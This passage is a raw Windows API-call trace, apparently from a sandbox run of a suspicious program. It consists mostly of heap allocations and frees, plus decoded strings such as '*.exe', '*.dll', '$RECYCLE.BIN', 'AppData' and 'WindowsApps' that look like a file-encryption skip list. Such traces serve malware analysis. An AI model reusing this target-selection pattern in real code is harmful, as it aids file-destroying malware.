RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.780] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2c8) returned 1 [0221.780] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1f8) returned 1 [0221.780] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2d8) returned 1 [0221.780] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d5e8) returned 1 [0221.780] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d5e8 [0221.780] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2d8 [0221.780] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1f8 [0221.780] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2c8 [0221.780] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.780] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c168) returned 1 [0221.780] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2a8) returned 1 [0221.780] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1b0) returned 1 [0221.780] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2b8) returned 1 [0221.780] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d600) returned 1 [0221.780] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x9a2850) returned 1 [0221.780] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0221.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49d9d0 [0221.781] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c1f8, cbMultiByte=5, lpWideCharStr=0x49d9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0221.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49da58 [0221.781] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d9d0) returned 1 [0221.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d600 [0221.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2b8 [0221.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49d9d0 [0221.781] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49da58) returned 1 [0221.781] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0221.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49da58 [0221.782] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c288, cbMultiByte=5, lpWideCharStr=0x49da58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0221.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49dae0 [0221.782] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49da58) returned 1 [0221.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2a8 [0221.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49da58 [0221.782] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49dae0) returned 1 [0221.782] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1f8) returned 1 [0221.782] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2d8) returned 1 [0221.782] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.782] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2c8) returned 1 [0221.782] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d5e8) returned 1 [0221.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x2800) returned 0x9a2850 [0221.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.782] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d5e8 [0221.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2c8 [0221.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1f8 [0221.782] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2d8 [0221.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1b0 [0221.782] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d298 [0221.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c168 [0221.782] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d288 [0221.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.782] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x20) returned 0x49bc08 [0221.783] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d5e8) returned 1 [0221.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d278 [0221.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c240 [0221.783] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d268 [0221.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.783] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d258 [0221.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x20) returned 0x9a5058 [0221.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d248 [0221.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c5e8 [0221.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d238 [0221.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c630 [0221.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d228 [0221.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c678 [0221.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d218 [0221.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c6c0 [0221.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d208 [0221.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c708 [0221.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d1e8 [0221.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c750 [0221.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d1f8 [0221.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c798 [0221.783] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1f8) returned 1 [0221.783] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2c8) returned 1 [0221.783] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1b0) returned 1 [0221.783] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2d8) returned 1 [0221.783] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c168) returned 1 [0221.783] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d298) returned 1 [0221.783] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.784] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d288) returned 1 [0221.784] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c240) returned 1 [0221.784] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d278) returned 1 [0221.784] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.784] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d268) returned 1 [0221.784] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.784] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d258) returned 1 [0221.784] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bc08) returned 1 [0221.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.784] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.784] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.784] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.784] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.784] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.784] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.784] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d5e8 [0221.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d258 [0221.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d268 [0221.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d278 [0221.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c240 [0221.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d288 [0221.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x20) returned 0x49bc08 [0221.785] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d5e8) returned 1 [0221.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d298 [0221.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c168 [0221.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2d8 [0221.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1b0 [0221.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2c8 [0221.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1f8 [0221.785] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c5e8) returned 1 [0221.785] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d248) returned 1 [0221.785] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c630) returned 1 [0221.785] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d238) returned 1 [0221.785] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c678) returned 1 [0221.785] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d228) returned 1 [0221.785] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c6c0) returned 1 [0221.785] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d218) returned 1 [0221.785] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c708) returned 1 [0221.785] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d208) returned 1 [0221.785] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c750) returned 1 [0221.785] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d1e8) returned 1 [0221.785] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c798) returned 1 [0221.785] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d1f8) returned 1 [0221.785] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x9a5058) returned 1 [0221.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x20) returned 0x9a5058 [0221.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d1f8 [0221.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c798 [0221.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d1e8 [0221.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c750 [0221.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d208 [0221.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c708 [0221.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d218 [0221.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c6c0 [0221.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d228 [0221.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c678 [0221.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d238 [0221.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c630 [0221.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d248 [0221.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c5e8 [0221.786] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.786] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d258) returned 1 [0221.786] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.786] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d268) returned 1 [0221.786] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c240) returned 1 [0221.786] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d278) returned 1 [0221.786] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.786] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d288) returned 1 [0221.786] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c168) returned 1 [0221.786] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d298) returned 1 [0221.786] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1b0) returned 1 [0221.786] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2d8) returned 1 [0221.786] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1f8) returned 1 [0221.786] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2c8) returned 1 [0221.786] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bc08) returned 1 [0221.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x20) returned 0x49bc08 [0221.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2c8 [0221.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1f8 [0221.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2d8 [0221.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1b0 [0221.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d298 [0221.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c168 [0221.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d288 [0221.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d278 [0221.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c240 [0221.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d268 [0221.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d258 [0221.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.787] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c798) returned 1 [0221.787] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d1f8) returned 1 [0221.787] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c750) returned 1 [0221.787] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d1e8) returned 1 [0221.787] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c708) returned 1 [0221.787] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d208) returned 1 [0221.787] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c6c0) returned 1 [0221.787] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d218) returned 1 [0221.787] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c678) returned 1 [0221.787] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d228) returned 1 [0221.787] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c630) returned 1 [0221.787] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d238) returned 1 [0221.787] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c5e8) returned 1 [0221.787] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d248) returned 1 [0221.787] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x9a5058) returned 1 [0221.787] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x9a2850) returned 1 [0221.787] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0221.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49dae0 [0221.787] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c1f8, cbMultiByte=25, lpWideCharStr=0x49dae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0221.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49db68 [0221.787] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49dae0) returned 1 [0221.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d5e8 [0221.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d248 [0221.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49dae0 [0221.787] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49db68) returned 1 [0221.787] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0221.788] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49db68 [0221.788] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c1b0, cbMultiByte=12, lpWideCharStr=0x49db68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0221.788] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49dbf0 [0221.788] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49db68) returned 1 [0221.788] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d238 [0221.788] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49db68 [0221.788] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49dbf0) returned 1 [0221.788] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0221.788] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49dbf0 [0221.788] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c168, cbMultiByte=8, lpWideCharStr=0x49dbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0221.788] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49dc78 [0221.788] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49dbf0) returned 1 [0221.788] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d228 [0221.788] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49dbf0 [0221.788] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49dc78) returned 1 [0221.788] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0221.788] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49dc78 [0221.788] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c120, cbMultiByte=6, lpWideCharStr=0x49dc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0221.788] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49dd00 [0221.788] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49dc78) returned 1 [0221.788] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d218 [0221.788] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49dc78 [0221.788] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49dd00) returned 1 [0221.788] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0221.788] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49dd00 [0221.788] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c240, cbMultiByte=11, lpWideCharStr=0x49dd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0221.788] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49dd88 [0221.788] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49dd00) returned 1 [0221.788] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x20) returned 0x49dd00 [0221.788] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d5e8) returned 1 [0221.788] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d208 [0221.789] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49de28 [0221.789] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49dd88) returned 1 [0221.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0221.789] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49deb0 [0221.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c0d8, cbMultiByte=7, lpWideCharStr=0x49deb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0221.789] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49df38 [0221.789] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49deb0) returned 1 [0221.789] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d1e8 [0221.789] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49deb0 [0221.789] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49df38) returned 1 [0221.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0221.789] 